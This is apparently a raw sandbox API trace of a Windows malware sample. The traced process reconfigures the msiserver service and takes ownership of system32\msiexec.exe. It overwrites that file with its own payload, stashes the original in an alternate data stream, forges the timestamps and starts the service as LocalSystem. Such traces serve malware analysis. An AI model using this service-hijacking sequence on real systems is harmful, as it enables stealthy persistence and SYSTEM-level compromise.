[0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.601] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0206.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0206.601] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0206.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.601] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.602] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.602] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0206.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0206.602] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.603] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.604] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.604] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.604] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\msiexec.exe /V", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x24 [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0206.604] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\msiexec.exe /V", lpDst=0x21f3ec0, nSize=0x24 | out: lpDst="C:\\Windows\\system32\\msiexec.exe /V") returned 0x23 [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0206.604] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe /V", cbData=0x23 | out: lpData="C:\\Windows\\system32\\msiexec.exe /V") returned 0x0 [0206.604] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe /V", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\msiexec.exe" [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0206.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0206.604] LocalFree (hMem=0x7f03d0) returned 0x0 [0206.604] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0206.604] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x2) returned 0x8038a0 [0206.605] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0206.628] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0206.629] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.630] RegCloseKey (hKey=0xc4) returned 0x0 [0206.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0206.630] RegCloseKey (hKey=0x14c) returned 0x0 [0206.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0206.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0206.630] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400)) returned 1 [0206.632] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.632] GetLastError () returned 0x5 [0206.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0206.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0206.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0206.632] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0206.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0206.632] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0206.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0206.633] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0206.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0206.634] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\msiexec.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\msiexec.exe", lpProcessInformation=0x36f4a4*(hProcess=0xc4, hThread=0x14c, dwProcessId=0x59c, dwThreadId=0x7ac)) returned 1 [0206.639] NtClose (Handle=0x14c) returned 0x0 [0206.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0206.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0206.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0206.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0206.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0206.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0206.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0206.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0206.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0206.639] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0207.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0207.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0207.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0207.106] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\msiexec.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\msiexec.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x148, hThread=0x14c, dwProcessId=0x104, dwThreadId=0x4fc)) returned 1 [0207.109] NtClose (Handle=0x14c) returned 0x0 [0207.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0207.109] NtClose (Handle=0xc4) returned 0x0 [0207.109] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0207.464] NtClose (Handle=0x148) returned 0x0 [0207.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0207.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0207.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0207.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400)) returned 1 [0207.464] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0207.464] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0207.464] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x1f400 [0207.465] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0207.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1f400) returned 0x21f4ea8 [0207.465] ReadFile (in: hFile=0x148, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x1f400, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x1f400, lpOverlapped=0x0) returned 1 [0207.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1f400) returned 0x29f0048 [0207.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0207.468] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0207.468] WriteFile (in: hFile=0x148, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0207.481] SetEndOfFile (hFile=0x148) returned 1 [0207.482] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0x92f58252, dwHighDateTime=0x1cb892b)) returned 1 [0207.482] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0207.482] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0207.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0207.482] NtClose (Handle=0x148) returned 0x0 [0207.482] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe:0" (normalized: "c:\\windows\\system32\\msiexec.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x248cc, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0207.482] GetLastError () returned 0x2 [0207.482] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe:0" (normalized: "c:\\windows\\system32\\msiexec.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0207.482] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0207.482] WriteFile (in: hFile=0x148, lpBuffer=0x29f0048*, nNumberOfBytesToWrite=0x1f400, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesWritten=0x36f53c*=0x1f400, lpOverlapped=0x0) returned 1 [0207.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0207.485] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0207.485] NtClose (Handle=0x148) returned 0x0 [0207.485] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x10) returned 0x803990 [0207.485] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0210.041] CloseServiceHandle (hSCObject=0x803990) returned 1 [0210.041] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0210.041] GetLastError () returned 0x6 [0210.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0210.041] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0210.042] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0210.042] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0210.042] OpenServiceW (hSCManager=0x803918, lpServiceName="NetMsmqActivator", dwDesiredAccess=0x20) returned 0x8038a0 [0210.042] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0210.042] GetLastError () returned 0x426 [0210.042] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0210.043] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0210.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0210.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.043] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.043] 